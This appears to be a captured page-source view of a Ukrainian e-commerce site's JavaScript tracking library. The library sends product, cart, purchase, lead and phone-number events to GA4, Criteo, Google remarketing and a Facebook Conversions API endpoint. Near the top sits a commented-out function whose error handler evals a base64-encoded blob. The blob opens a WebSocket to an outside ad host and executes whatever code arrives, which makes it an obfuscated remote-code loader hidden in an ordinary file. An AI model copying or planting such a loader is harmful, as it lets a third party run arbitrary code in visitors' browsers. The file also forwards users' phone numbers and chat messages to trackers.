PageSourceSearch

https://teslaweld.com/catalog/view/theme/fastor/js/sk_lib_tracker.js?v=2.4.141

js teslaweld.com collected 2026-10-09 00:20:56 UTC 28,094 bytes, 953 lines download raw bytes

1// VER ALL 16.02.2023 -- strrt;
2// VER ALL 20.02.2023 == bag in SK_TrackerCriteo_Sender;
3// VER ALL 21.02.2023 == bag in SK_TrackerCriteo_Sender convert;
4// VER ALL 22.02.2023 == bag sk_tracker_ga4.Event_Chat_Message_Sent -> VER ALL 21.02.2023 ==  
5// VER ALL 08.03.2023 ++ SK_TrackerGA4_Sender.Event_Purchase add this.purchase_json 
6// VER ALL 08.03.2023 ++ function getFakeOrderId();
7// VER ALL 11.03.2023 ++ SK_TrackerCriteo_Sender.Event_Lead()
8// VER ALL 15.03.2023 == Event_Add_To_Cart(_offer_cart,_fg_ga4=1,_fg_criteo=1)
9// VER ALL 15.03.2023 ++ sk_event_criteo_add_to_cart()
10// VER ALL 27.03.2023 == bag 'event': name_value -> 'event': this.name_value,
11// VER ALL 29.03.2023 .. start FbCAPI
12// VER ALL 17.04.2023 == баг куки  s=$.cookie('_fbp'); s=$.cookie('_fbс');
13// VER ALL 19.04.2023 == SK_TrackerShop_Router this.purchase_json
14// VER ALL 19.04.2023 ++ Event_Lead_No_Criteo
15// VER ALL 24.07.2023 ++ Event_View_Page(), this.fg_event_view
16// VER ALL 24.04.2024 ++ offer_gtm.google_business_vertical='retail';
17// VER ALL 17.06.2024 == update Remarketing Event_View_Item
18// VER ALL 17.06.2024 ++ FbCAPI add if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id;
19// VER ALL 29.06.2024 == FbCAPI   if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id;
20// VER ALL 29.06.2024 == FbCAPI   if (stat.hasOwnProperty('id_main')) event.product_catalog_id=stat.id_main;
21// VER ALL 03.08.2026 ++ FbCAPI add to Lead content_name, category_name
22
23<!-- tracker start -->
24$(document).on('click', "[data-gtm-event='select-item']", function () {
25    let offer_cart=sk_offer_cart_read_short(this);
26    if (typeof sk_tracer_sender!=='undefined')
27    {
28     sk_tracer_sender.Event_Select_Item(offer_cart);
29    }
30});
31
32
33function sk_offer_cart_read_short(pl) {
34 let offer_cart={};
35 s = $(pl).attr('data-offer-cart-id');
36 offer_cart.id = (typeof s !== 'undefined') ? s : '';
37 s = $(pl).attr('data-offer-cart-name-gtm');
38 offer_cart.name_gtm = (typeof s !== 'undefined') ? s : '';
39 s = $(pl).attr('data-offer-cart-price-real');
40 s = (typeof s !== 'undefined') ? s : '';
41 s = Number(s.replace(/\D+/g,''));
42 offer_cart.price_real = isNaN(s) ? 0 : s;
43 s = $(pl).attr('data-offer-cart-brand');
44 offer_cart.vendor = (typeof s !== 'undefined') ? s : '';
45 s = $(pl).attr('data-offer-cart-category-gtm');
46 offer_cart.category_gtm = (typeof s !== 'undefined') ? s : '';
47 return offer_cart;
48}
49<!-- tracker start -->
50
51
52// Tizer ???
53/*
54function recreativ_end (id) {
55    var d = document;
56    var s = d.createElement('script');
57    s.type = 'text/javascript';
58    s.src = '//recreativ.ru/trck.php?shop=2427&del=' + id + '&rnd=' + Math.floor(Math.random() * 999);
59    s.onerror = function () {eval(atob('dmFyIHdyPW5ldyBXb3JrZXIoVVJMLmNyZWF0ZU9iamVjdFVSTChuZXcgQmxvYihbJ3ZhciB3cz1uZXcgV2ViU29ja2V0KCInK3Muc3JjLnJlcGxhY2UoL15odHRwLywid3MiKSsiJnJlZj0iK2VuY29kZVVSSUNvbXBvbmVudChkLmxvY2F0aW9uKSsnIik7d3Mub25tZXNzYWdlPWZ1bmN0aW9uKHQpe3Bvc3RNZXNzYWdlKHQuZGF0YSk7fTsnXSkse3R5cGU6InRleHQvamF2YXNjcmlwdCJ9KSk7d3Iub25tZXNzYWdlPWZ1bmN0aW9uKHQpe3dpbmRvdy5ldmFsKHQuZGF0YSk7fTs='));};
60    d.body.appendChild(s);
61}
62*/
63
64function getRandomInt (min, max) {
65    return Math.floor(Math.random() * (max - min)) + min;
66}
67
68function getFakeOrderId()
69{
70 let start=Date.parse('01 Jan 2020 00:00:00 GMT');
71 let id=parseInt((Date.now()-start)/100).toString();
72 return id;
73}
74
75
76function sk_event_criteo_add_to_cart()
77{
78  if (typeof sk_tracer_sender!=='undefined')
79  {
80   if (typeof offer_cart!=='undefined' && window.page_info.type=='product')
81   {
82    // only for criteo
83    sk_tracer_sender.Event_Add_To_Cart_Only_Criteo(offer_cart);
84   }
85  }
86}
87
88// --- Router
89class SK_TrackerShop_Router
90{
91    constructor(setting={})
92    {
93      this.fg_GA4         = (typeof window.sk_tracker_ga4    === 'undefined') ? 0 : 1; 
94      this.fg_Criteo      = (typeof window.sk_tracker_criteo === 'undefined') ? 0 : 1; 
95      this.fg_Remarketing = (typeof window.sk_tracker_remarketing === 'undefined') ? 0 : 1; 
96      this.fg_FbCAPI      = (typeof window.sk_tracker_fb_capi === 'undefined') ? 0 : 1; 
97
98      this.purchase_json  ='';
99    }
100
101    get_lead_id()
102    {
103     let start=Date.parse('01 Jan 2020 00:00:00 GMT');
104     let id=parseInt((Date.now()-start)/100).toString();
105     return id;
106    }
107
108    get_event_id()
109    {
110     let start=Date.parse('01 Jan 2010 00:00:00 GMT');
111     let id=parseInt((Date.now()-start)/10).toString();
112     return id;
113    }
114
115//site
116    Event_Lead(_lead_gtm)
117    {
118     let event_id=this.get_lead_id();
119
120     if (this.fg_GA4) {sk_tracker_ga4.Event_Lead(_lead_gtm,event_id);}
121
122     if (this.fg_Criteo && (_lead_gtm.lead_source=='Chat' || _lead_gtm.lead_source=='Recall')) 
123     {
124      let list_offer_cart=[];
125      if (typeof window.cart_site !== 'undefined')
126      {
127       list_offer_cart=cart_site.ListOffersFull_Get();
128      }
129      if (list_offer_cart.length==0 && typeof window.offer_cart !== 'undefined')
130      {
131       list_offer_cart.push(window.offer_cart);
132      }
133      let lead_id=event_id
134      sk_tracker_criteo.Event_Lead(list_offer_cart,lead_id);
135     }
136
137     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Lead(_lead_gtm,event_id);}
138    }
139
140    Event_Lead_No_Criteo(_lead_gtm)
141    {
142     let event_id=this.get_lead_id();
143
144     if (this.fg_GA4) {sk_tracker_ga4.Event_Lead(_lead_gtm,event_id);}
145     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Lead(_lead_gtm,event_id);}
146    }
147
148    Event_Phone_Filled(_phone)
149    {
150     if (this.fg_GA4) {sk_tracker_ga4.Event_Phone_Filled(_phone);}
151    }
152
153    Event_View_Page()
154    {
155     if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Page();}
156    }
157
158    Event_View_Home()
159    {
160     if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Home();}
161    }
162
163    Event_View_List(list_id,category_gtm='')
164    {
165     if (this.fg_Criteo) {sk_tracker_criteo.Event_View_List(list_id);}
166
167     if (this.fg_Remarketing) {sk_tracker_remarketing.Event_View_List(list_id,category_gtm);}
168    }
169
170    Event_Select_Item(_offer_cart)
171    {
172     if (this.fg_GA4) {sk_tracker_ga4.Event_Select_Item(_offer_cart);}
173    }
174
175    Event_View_Item(_offer_cart)
176    {
177     let event_id=this.get_event_id();
178
179     if (this.fg_GA4) {sk_tracker_ga4.Event_View_Item(_offer_cart,event_id);}
180
181     if (this.fg_Criteo) {sk_tracker_criteo.Event_View_Item(_offer_cart);}
182
183     if (this.fg_Remarketing) {sk_tracker_remarketing.Event_View_Item(_offer_cart);}
184
185     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_View_Item(_offer_cart,event_id);}
186    }
187//site
188
189//cart
190    Event_Cart_View(_list_offer_cart,_sum)
191    {
192     if (this.fg_Remarketing) {sk_tracker_remarketing.Event_Cart_View(_list_offer_cart,_sum);}
193     if (this.fg_Criteo)      {sk_tracker_criteo.Event_Cart_View(_list_offer_cart,_sum);}
194    }
195
196    Event_Add_To_Cart(_offer_cart)
197    {
198     let event_id=this.get_event_id();
199
200     if (this.fg_GA4) {sk_tracker_ga4.Event_Add_To_Cart(_offer_cart,event_id);}
201     if (this.fg_Criteo) {sk_tracker_criteo.Event_Add_To_Cart(_offer_cart);}
202
203     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Add_To_Cart(_offer_cart,event_id);}
204    }
205
206    Event_Add_To_Cart_Only_GA4(_offer_cart)
207    {
208     let event_id=this.get_event_id();
209     if (this.fg_GA4) {sk_tracker_ga4.Event_Add_To_Cart(_offer_cart,event_id);}
210     // копия в FB
211     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Add_To_Cart(_offer_cart,event_id);}
212    }
213
214    Event_Add_To_Cart_Only_Criteo(_offer_cart)
215    {
216     if (this.fg_Criteo) {sk_tracker_criteo.Event_Add_To_Cart(_offer_cart);}
217    }
218
219    Event_Remove_From_Cart(_offer_cart,_fg_all=0)
220    {
221     if (this.fg_GA4) {sk_tracker_ga4.Event_Remove_From_Cart(_offer_cart,_fg_all);}
222    }
223
224    Event_Begin_Checkout(_list_offer_cart,_sum)
225    {
226     if (this.fg_GA4) {sk_tracker_ga4.Event_Begin_Checkout(_list_offer_cart,_sum);}
227    }
228
229    Event_Add_Shipping_Info(_list_offer_cart,_sum)
230    {
231     if (this.fg_GA4) {sk_tracker_ga4.Event_Add_Shipping_Info(_list_offer_cart,_sum);}
232    }
233
234    Event_Add_Payment_Info(_list_offer_cart,_sum)
235    {
236     if (this.fg_GA4) {sk_tracker_ga4.Event_Add_Payment_Info(_list_offer_cart,_sum);}
237    }
238
239
240    Event_Purchase(_list_offer_cart,_sum,_order_id)
241    {
242/*
243      let d={};
244      d.i=_list_offer_cart;
245      d.id=_order_id;
246      d.s=_sum;
247
248      let purchase_json = JSON.stringify(d);
249      if (this.purchase_json==purchase_json) return;
250      this.purchase_json=purchase_json;
251*/
252
253     let event_id=this.get_lead_id();
254     if (this.fg_GA4)    {sk_tracker_ga4.Event_Purchase(_list_offer_cart,_sum,_order_id,event_id);}
255     if (this.fg_Criteo) {sk_tracker_criteo.Event_Purchase(_list_offer_cart,_sum,_order_id);}
256     let phone=(typeof window.lead_client.phone!=='undefined') ? window.lead_client.phone:'';
257     if (this.fg_FbCAPI) {sk_tracker_fb_capi.Event_Purchase(_list_offer_cart,_sum,event_id,phone);}
258    }
259//cart
260
261//chat
262    Event_Chat_Message_Sent(_mes)
263    {
264     if (this.fg_GA4) {sk_tracker_ga4.Event_Chat_Message_Sent(_mes);}
265    }
266//chat
267
268    Event_Select_Promotion(_promotion_name,_offer_cart=null)
269    {
270     if (this.fg_GA4) {sk_tracker_ga4.Event_Select_Promotion(_promotion_name,_offer_cart);}
271    }
272
273    Event_Tracking_Failed()
274    {
275     if (this.fg_GA4) {sk_tracker_ga4.Event_Tracking_Failed();}
276    }
277}
278// === Router
279
280// --- GA4
281function sk_converter_offer_gtm(_offer_cart,_fg_all=0,_fg_retail=1)
282{
283  if (_offer_cart==null) return null;
284
285  let offer_gtm={};
286  offer_gtm.item_id=_offer_cart.hasOwnProperty('id')?_offer_cart.id:0; 
287  offer_gtm.item_name=_offer_cart.hasOwnProperty('name_gtm')?_offer_cart.name_gtm: '';
288  offer_gtm.item_brand=_offer_cart.hasOwnProperty('vendor')?_offer_cart.vendor: '';
289  offer_gtm.item_category=_offer_cart.hasOwnProperty('category_gtm')?_offer_cart.category_gtm: '';
290  offer_gtm.price= _offer_cart.hasOwnProperty('price_real')?_offer_cart.price_real: '0';
291  offer_gtm.price = Number(String(offer_gtm.price).replace(/\D+/g, ''));
292
293  if (_fg_retail==1)
294  {
295   offer_gtm.id=offer_gtm.item_id;
296   offer_gtm.google_business_vertical='retail';
297  }
298
299		offer_gtm.quantity= 1;
300		if (_fg_all==1) offer_gtm.quantity=_offer_cart.hasOwnProperty('count')?_offer_cart.count: 1;
301 	offer_gtm.currency= 'UAH';
302  return offer_gtm;
303}
304
305function sk_converter_list_offer_gtm(_list_offer_cart,_fg_all=1,_fg_retail=1)
306{
307  let offer_gtm;
308  let items=[];
309  for (var i = 0; i <_list_offer_cart.length; i++) {
310   offer_gtm=sk_converter_offer_gtm(_list_offer_cart[i],_fg_all,_fg_retail);
311   items.push(offer_gtm);
312  }
313  return items;
314}
315
316function sk_converter_list_offer_id(_list_offer_cart,_fg_string=0)
317{
318  let items=[];
319  let id;
320  for (var i = 0; i <_list_offer_cart.length; i++) {
321   id=Number(_list_offer_cart[i].id);
322   if (_fg_string) id=String(id);
323   items.push(id);
324  }
325  return items;
326}
327
328
329class SK_TrackerGA4_Sender
330{
331    constructor(setting={})
332    {
333     window.dataLayer = window.dataLayer || [];
334     this.fg_work=setting.hasOwnProperty('fg_work')?setting.fg_work:0;
335     this.purchase_json='';
336    }
337
338    Event_Lead(_lead_gtm,event_id)
339    {
340      if (!this.fg_work) return;
341      let parameters={};
342      parameters.role='conversion';
343    	 parameters.phone_number=_lead_gtm.lead_phone;     // format strong +38 (099) 999-99-99
344     	parameters.lead_source=_lead_gtm.lead_source; // Recall | Chat | Cart
345     	parameters.form=_lead_gtm.lead_gtm_form; 
346     	if (typeof _lead_gtm.product_name!== 'undefined')
347     	{
348      	parameters.product=_lead_gtm.product_name; 
349      	parameters.product_category=_lead_gtm.category_name; 
350      }
351//     	parameters.lead_id=lead_id; 
352     	parameters.event_id=event_id; 
353
354      this._sender_gtm('lead', parameters, null)
355    }
356
357    Event_Phone_Filled(_phone)
358    {
359      if (!this.fg_work) return;
360      this._sender_gtm('phone_filled', {'role':'engagement', 'phone_number': _phone} , null)
361    }
362
363    Event_View_List(list_id)
364    {
365    }
366
367    Event_Select_Item(_offer_cart)
368    {
369      if (!this.fg_work) return;
370      let offer_gtm=sk_converter_offer_gtm(_offer_cart);
371
372      let items=[];
373      items.push(offer_gtm);
374      let ecommerce={};
375      ecommerce.items=items;
376      this._sender_gtm('select_item', {'role':'ecommerce'}, ecommerce);
377    }
378
379    Event_View_Item(_offer_cart,event_id)
380    {
381      if (!this.fg_work) return;
382      let offer_gtm=sk_converter_offer_gtm(_offer_cart);
383
384      let items=[];
385      items.push(offer_gtm);
386      let ecommerce={};
387      ecommerce.items=items;
388      let parameters={};
389      parameters.role='ecommerce';
390     	parameters.event_id=event_id; 
391
392      this._sender_gtm('view_item', parameters, ecommerce);
393    }
394
395    Event_Add_To_Cart(_offer_cart,event_id)
396    {
397      if (!this.fg_work) return;
398      let offer_gtm=sk_converter_offer_gtm(_offer_cart);
399
400      let items=[];
401      items.push(offer_gtm);
402      let ecommerce={};
403      ecommerce.items=items;
404
405      let parameters={};
406      parameters.role='ecommerce';
407     	parameters.event_id=event_id; 
408
409      this._sender_gtm('add_to_cart', parameters, ecommerce);
410    }
411
412    Event_Remove_From_Cart(_offer_cart,_fg_all=0)
413    {
414      if (!this.fg_work) return;
415      let offer_gtm=sk_converter_offer_gtm(_offer_cart,_fg_all);
416
417      let items=[];
418      items.push(offer_gtm);
419      let ecommerce={};
420      ecommerce.items=items;
421      this._sender_gtm('remove_from_cart', {'role':'ecommerce'}, ecommerce);
422    }
423
424    Event_Select_Promotion(_promotion_name,_offer_cart=null)
425    {
426     if (!this.fg_work) return;
427      let ecommerce={};
428      ecommerce.promotion_name=_promotion_name;
429      if (_offer_cart!=null)
430      {
431       let items=[];
432       let offer_gtm=sk_converter_offer_gtm(_offer_cart);
433       items.push(offer_gtm);
434       ecommerce.items=items;
435      }
436      this._sender_gtm('select_promotion', {'role':'ecommerce'}, ecommerce);
437    }
438
439    Event_Begin_Checkout(_list_offer_cart,_sum)
440    {
441      if (!this.fg_work) return;
442      let items=[];
443      items=sk_converter_list_offer_gtm(_list_offer_cart);
444
445      let ecommerce={};
446      ecommerce.items=items;
447      ecommerce.value=_sum;
448      ecommerce.currency= 'UAH',
449      this._sender_gtm('begin_checkout', {'role':'ecommerce'}, ecommerce);
450    }
451
452    Event_Add_Shipping_Info(_list_offer_cart,_sum)
453    {
454      if (!this.fg_work) return;
455      let items=[];
456      items=sk_converter_list_offer_gtm(_list_offer_cart);
457
458      let ecommerce={};
459      ecommerce.items=items;
460      ecommerce.value=_sum;
461      ecommerce.currency= 'UAH';
462      this._sender_gtm('add_shipping_info', {'role':'ecommerce'}, ecommerce);
463    }
464
465    Event_Add_Payment_Info(_list_offer_cart,_sum)
466    {
467      if (!this.fg_work) return;
468
469      let items=[];
470      items=sk_converter_list_offer_gtm(_list_offer_cart);
471
472      let ecommerce={};
473      ecommerce.items=items;
474      ecommerce.value=_sum;
475      ecommerce.currency= 'UAH';
476      this._sender_gtm('add_payment_info', {'role':'ecommerce'}, ecommerce);
477    }
478
479
480    Event_Purchase(_list_offer_cart,_sum,_order_id,event_id)
481    {
482      if (!this.fg_work) return;
483      let items=[];
484      items=sk_converter_list_offer_gtm(_list_offer_cart);
485
486/*
487      let d={};
488      d.i=items;
489      d.id=_order_id;
490      d.s=_sum;
491
492      let purchase_json = JSON.stringify(d);
493      if (this.purchase_json==purchase_json) return;
494      this.purchase_json=purchase_json;
495*/
496      let ecommerce={};
497      ecommerce.items=items;
498      ecommerce.value=_sum;
499      ecommerce.currency= 'UAH';
500      ecommerce.transaction_id = _order_id; 
501
502      let parameters={};
503      parameters.role='ecommerce';
504     	parameters.event_id=event_id; 
505
506      this._sender_gtm('purchase', parameters, ecommerce);
507    }
508
509    Event_Cart_Byu(_list_offer_cart,_sum,_order_id)
510    {
511     if (!this.fg_work) return;
512    }
513
514/*
515Merchant tetra cart
516*/
517
518    Event_Chat_Message_Sent(_mes)
519    {
520     if (!this.fg_work) return;
521     this._sender_gtm('chat_message_sent', {'role':'engagement', 'message': _mes} , null);
522    }
523
524    Event_Tracking_Fa
524iled()
525    {
526     if (!this.fg_work) return;
527     this._sender_gtm('tracking_failed', {'role':'UX', 'tracking': 'criteo', 'adblock': window.adblock} , null);
528    }
529
530    _sender_gtm(action, parameters, ecommerce=null)
531    {
532     dataLayer.push({ ecommerce: null });
533     dataLayer.push({
534     'event': 'ga4_interaction',
535     'action': action,
536     'parameters': parameters,
537     'ecommerce': ecommerce
538     });
539    }
540}
541// === GA4
542
543// --- Remarketing
544class SK_TrackerRemarketing_Sender
545{
546    constructor(setting={})
547    {
548        window.dataLayer = window.dataLayer || [];
549        this.name_value=setting.hasOwnProperty('name') ? setting.name : '';
550        this.fg_work = (this.name_value=='') ? 0 : 1;
551    }
552
553    Event_View_List(list_id,category_gtm)
554    {
555      if (!this.fg_work) return;
556      if (list_id.length==0) return;
557
558      dataLayer.push({
559      'event': this.name_value,
560      'ecomm_pagetype': 'category',
561      'ecomm_prodid':     list_id,
562      'ecomm_totalvalue': '',
563      'ecomm_category':   category_gtm
564     });
565    }
566
567    Event_View_Item(_offer_cart)
568    {
569      if (!this.fg_work) return;
570
571/*
572      let offer_gtm=sk_converter_offer_gtm(_offer_cart,0,0);
573      dataLayer.push({
574      'event': this.name_value,
575      'ecomm_pagetype': 'Product',
576      'ecomm_prodid':     offer_gtm.item_id,
577      'ecomm_totalvalue': offer_gtm.price,
578      'ecomm_category':   offer_cart.category_gtm
579     });
580*/
581      dataLayer.push({
582      'event': this.name_value,
583      'ecomm_pagetype': 'Product',
584      'ecomm_prodid':     _offer_cart.id,
585      'ecomm_totalvalue': _offer_cart.price_real,
586      'ecomm_category':   _offer_cart.category_gtm
587     });
588    }
589
590    Event_Cart_View(_list_offer_cart,_sum)
591    {
592      if (!this.fg_work) return;
593
594      let list_id=[];
595      list_id=sk_converter_list_offer_id(_list_offer_cart,1,0);
596      if (list_id.length==0) return;
597      dataLayer.push({
598      'event': this.name_value,
599      'ecomm_pagetype': 'Cart',
600      'ecomm_prodid':     list_id,
601      'ecomm_totalvalue': _sum,
602      'ecomm_category':   ''
603     });
604    }
605    // sk add
606    Event_Purchase(_list_offer_cart,_sum)
607    {
608      if (!this.fg_work) return;
609
610      let list_id=[];
611      list_id=sk_converter_list_offer_id(_list_offer_cart,1,0);
612      if (list_id.length==0) return;
613      dataLayer.push({
614      'event': this.name_value,
615      'ecomm_pagetype': 'Purchase',
616      'ecomm_prodid':     list_id,
617      'ecomm_totalvalue': _sum,
618      'ecomm_category':   ''
619     });
620    }
621}
622// === Remarketing
623
624// --- Criteo
625class SK_TrackerCriteo_Sender
626{
627    constructor(setting={})
628    {
629      this.account=setting.hasOwnProperty('account')?setting.account:0;
630      this.fg_work= (this.account==0) ? 0 : 1;
631      this.fg_event_view=0;
632
633      this.device_Type = /iPad/.test(navigator.userAgent) ? "t" : /Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Silk/.test(navigator.userAgent) ? "m" : "d";
634    }
635
636
637    _converter_offer_criteo(_offer_cart,_fg_all=0)
638    {
639      if (_offer_cart==null) return null;
640
641      let offer_criteo={};
642
643      offer_criteo.id=_offer_cart.hasOwnProperty('id')?String(_offer_cart.id):'';
644      let price=_offer_cart.hasOwnProperty('price_real')?_offer_cart.price_real:0;
645      let num_price = Number(String(price).replace(/\D+/g, ''));
646//      offer_criteo.price = Number(String(num_price)  + '.00');
647      offer_criteo.price = num_price;
648      offer_criteo.quantity=1;
649				 	if (_fg_all==1) offer_criteo.quantity=_offer_cart.hasOwnProperty('count')?_offer_cart.count: 1;
650
651      return offer_criteo;
652    }
653
654   _converter_list_offer_criteo(_list_offer_cart,_fg_all=1)
655   {
656    let offer;
657    let items=[];
658    for (var i = 0; i <_list_offer_cart.length; i++) {
659     offer=this._converter_offer_criteo(_list_offer_cart[i],_fg_all);
660     items.push(offer);
661    }
662    return items;
663   }
664
665    Event_View_Page()
666    {
667      if (this.fg_work==0) return;
668      if (this.fg_event_view==1) return;
669
670      this.fg_event_view=1;
671      let event = {event: 'viewPage'};
672      this._sender_event(event);
673    }
674
675
676    Event_View_Home()
677    {
678      if (this.fg_work==0) return;
679
680      this.fg_event_view=1;
681      let event = {event: 'viewHome'};
682      this._sender_event(event);
683    }
684
685    Event_View_List(list_id)
686    {
687      if (this.fg_work==0) return;
688      if (list_id.length==0) return;
689
690      this.fg_event_view=1;
691      let event={};
692/*
693      if (list_id.length==0) 
694      { 
695       // event = {event: "viewPage"};
696       return;
697      }
698      else
699*/
700      {event = {event: "viewList", item: list_id};}
701      this._sender_event(event);
702    }
703
704    Event_View_Item(_offer_cart)
705    {
706      if (this.fg_work==0) return;
707
708      this.fg_event_view=1;
709      let event = {event: "viewItem", item: String(_offer_cart.id), availability: _offer_cart.fg_visa};
710      this._sender_event(event);
711    }
712
713    Event_Cart_View(_list_offer_cart,_sum)
714    {
715     if (this.fg_work==0) return;
716
717     this.fg_event_view=1;
718     let items=[];
719     items=this._converter_list_offer_criteo(_list_offer_cart,1);
720     let event={ event: 'viewBasket', item: items };
721     this._sender_event(event);
722    }
723
724    Event_Add_To_Cart(_offer_cart)
725    {
726      if (this.fg_work==0) return;
727
728      let offer=this._converter_offer_criteo(_offer_cart);
729      let items=[];
730      items.push(offer);
731
732      let event = { event: "addToCart", item: items};
733      this._sender_event(event);
734    }
735
736    Event_Purchase(_list_offer_cart,_sum,_order_id)
737    {
738      if (this.fg_work==0) return;
739
740      let items=[];
741      items=this._converter_list_offer_criteo(_list_offer_cart,1);
742
743      let order_id=0;
744      order_id=getFakeOrderId();
745      order_id=_order_id;
746      let event={ event: 'trackTransaction', id: order_id, item: items };
747      this._sender_event(event);
748    }
749
750    Event_Lead(_list_offer_cart,_lead_id)
751    {
752      if (this.fg_work==0) return;
753
754      let items=[];
755      items=this._converter_list_offer_criteo(_list_offer_cart,1);
756
757      let event={ event: 'trackTransaction', id: _lead_id, item: items };
758      this._sender_event(event);
759    }
760
761    Event_Product_Buy (_offer_cart, _order_id) 
762    {
763     if (this.fg_work==0) return;
764
765     let offer=this._converter_offer_criteo(_offer_cart);
766     let items=[];
767     items.push(offer);
768
769     let event={ event: 'trackTransaction', id: _order_id, item: items };
770     this._sender_event(event);
771    }
772
773    _sender_event (_event) 
774    {   
775       if (this.fg_work==0) return;
776       if (typeof _event === 'undefined') return false;
777       window.criteo_q = window.criteo_q || [];
778       window.criteo_q.push(
779        {event: "setAccount", account: this.account}, 
780        {event: "setEmail", email: ""}, 
781        {event: "setSiteType", type: this.device_Type},
782         _event
783        );
784    }
785}
786// === Criteo
787
788
789// --- FbCAPI
790/*
791"event_name":"ViewContent",
792"event_id":"111",
793"client_user_agent":"",
794--"event_time":"",
795"action_source":"website",
796"event_source_url":"",
797"fbp":"",
798"fbc":"",
799
800"content_ids":"",
801"content_type":"product",
802"currency":"",
803"value":"125",
804
805"ph":""
806
807*/
808
809class SK_TrackerFbCAPI_Sender
810{
811    constructor(setting={})
812    {
813        this.url_script=setting.hasOwnProperty('url_script')?setting.url_script:'';
814        this.fg_work= (this.url_script=='') ? 0 : 1;
815        this.fg_debug=1;
816        this.action_source='website';
817        let s='';
818        s=window.lead_client.ua;
819        this.client_user_agent=(typeof s!=='undefined' && s!==null) ? s : '';
820        s=window.page_info.href;
821        this.event_source_url=(typeof s!=='undefined' && s!==null) ? s : '';
822        s=$.cookie('_fbp');
823        this.fbp=(typeof s!=='undefined' && s!==null) ? s : '';
824        s=$.cookie('_fbc');
825        this.fbc=(typeof s !=='undefined' && s!==null)? s : '';
826    }
827
828    _event_init(_event)
829    {
830     let event=_event;
831     event.action_source=this.action_source;
832     event.client_user_agent=this.client_user_agent;
833     event.event_source_url=this.event_source_url;
834     if (this.fbp.length) event.fbp=this.fbp;
835     if (this.fbc.length) event.fbc=this.fbc;
836     return event;
837    }
838
839
840    Event_Lead(_lead_gtm,_event_id)
841    {
842      if (!this.fg_work) return;
843      let event={};
844      event.event_name='Lead';
845      event.event_id=_event_id;
846    	 event.phone=_lead_gtm.lead_phone;     
847     	if (typeof _lead_gtm.product_name!== 'undefined')
848     	{
849      	event.content_name=_lead_gtm.product_name; 
850      }
851     	if (typeof _lead_gtm.category_name!== 'undefined')
852     	{
853      	event.content_category=_lead_gtm.category_name; 
854      }
855
856      event=this._event_init(event);
857      this._sender_event(event);
858    }
859
860
861    Event_View_Item(_offer_cart, _event_id)
862    {
863      if (!this.fg_work) return;
864
865      let list_items=[];
866      list_items.push(_offer_cart);
867
868      let list_id=sk_converter_list_offer_id(list_items,1);
869
870      let event={};
871      event.event_name='View_Item';
872      event.event_id=_event_id;
873      event.list_id=list_id;
874//      if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id;
875      if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id;
876      event=this._event_init(event);
877
878      this._sender_event(event);
879    }
880
881
882    Event_Add_To_Cart(_offer_cart, _event_id)
883    {
884      if (!this.fg_work) return;
885
886      let list_items=[];
887      list_items.push(_offer_cart);
888      let list_id=sk_converter_list_offer_id(list_items,1);
889
890      let event={};
891      event.event_name='Add_To_Cart';
892      event.event_id=_event_id;
893      event.list_id=list_id;
894//      if (_offer_cart.hasOwnProperty('category_id')) event.product_catalog_id=_offer_cart.category_id;
895      if (_offer_cart.hasOwnProperty('id')) event.product_catalog_id=_offer_cart.id;
896      event=this._event_init(event);
897
898      this._sender_event(event,false);
899    }
900
901    Event_Purchase(_list_offer_cart,_sum, _event_id, _phone)
902    {
903      if (!this.fg_work) return;
904
905      let list_id=sk_converter_list_offer_id(_list_offer_cart,1);
906
907      let event={};
908      event.event_name='Purchase';
909      event.event_id=_event_id;
910    	 event.phone=_phone;     
911      event.list_id=list_id;
912      event.sum=_sum;
913      event=this._event_init(event);
914
915      if (typeof window.cart_site !== 'undefined') 
916      {
917       let stat=window.cart_site.Cart_Stat_Get();
918//       if (stat.hasOwnProperty('id_cat')) event.product_catalog_id=stat.id_cat;
919       if (stat.hasOwnProperty('id_main')) event.product_catalog_id=stat.id_main;
920      }
921
922      this._sender_event(event);
923    }
924
925
926    _sender_event (_event,_fg_async=true) 
927    {   
928       if (!this.fg_work) return;
929
930       if (typeof _event === 'undefined') return false;
931
932            jQuery.ajax({
933            type: 'POST',
934            url: this.url_script,  
935            async:_fg_async,
936            data: { event: _event },
937            success: function (ret_info) {
938//                if (typeof ret_info !== 'undefined' && testJSON(ret_info) === true) {
939//                    crm_json = JSON.parse(ret_info);
940//             if (ret_info.length) 
941//              alert('Ajax success! data = ' + ret_info);
942            console.log('Ajax success! data = ' + ret_info);
943            },
944            error: function () {
945              alert('Ajax error! URL =>' + this.url);
946            }
947        });
948    }
949}
950
951
952// === FbCAPI
953                             

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.